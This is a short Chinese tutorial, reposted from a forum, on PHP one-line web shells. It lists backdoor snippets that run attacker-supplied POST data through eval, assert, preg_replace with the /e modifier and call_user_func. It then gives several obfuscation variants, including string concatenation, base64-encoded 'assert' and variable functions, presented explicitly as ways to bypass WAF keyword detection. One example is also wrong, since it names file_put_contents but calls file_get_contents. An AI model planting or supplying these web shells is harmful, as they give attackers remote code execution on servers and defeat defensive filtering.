PHP一句话木马

PHP一句话木马:

1. eval(): <?php @eval($_POST['hacker']); ?> eval函数将接受的字符串当做代码执行

2. assert(): 用法和 eval()一样

3. preg_replace(): <?php @preg_replace("/abcd/e",$_POST['hacker'],"abcdefg"); ?> preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行

4. create_function(): <?php

$newfun = create_function('$hacker', 'echo $hacker;');

$newfun('woaini');

?>

创建了一个匿名函数,并返回了一个独一无二的函数名

5. call_user_func(): <?php @call_user_func(eval,$_POST['hacker']); ?> 函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数

call_user_func_array(): 方法同上,只是第二个参数要是一个数组,作为第一个参数的参数

还有一些文件操作函数,比如 file_put_contents函数: <?php $test='一句话木马'; file_get_contents("文件名", $test); ?>

此函数把一个字符串写入一个文件中

怎么让一句话木马绕过 WAF:

WAF通常会以关键字判断是否为一句话木马,所以要将一句话木马变形使用,从而绕过 waf:

1. php变量函数:

<?php

$a = "assert";

$a($_POST['hacker']);

?>

2. php可变变量:

<?php

$b = "assert";

$a = 'b';

$$a($_POST['hacker']);

?>

3. str_replace函数:

<?php

$a = str_replace("b", "", "absbsbebrbt");

$a($_POST['hacker']);

?>

此函数用于将第三个参数中的第一个参数替换为第二个参数

4. base64_decode 函数:

<?php

$a = base64_decode("YXNzZXJ0");

$a($_POST['hacker']);

?>

5. 使用"."连接字符串:

<?php

$b = "a"."ss";

$c = "er"."t";

$a = $b.$c;

$a($_POST['hacker']);

?>

6. pares_str函数:

<?php

$str = "a=assert";

parse_str($str);/parse_str("a=assert");

$a($_POST['hacker']);

?>

最后举个例子:

<?php

function fun(){

return $_POST['hacker'];

}

@preg_replace("/test/e", fun(), "testtesttest");

?>

转载:https://bbs.ichunqiu.com/thread-26365-1-1.html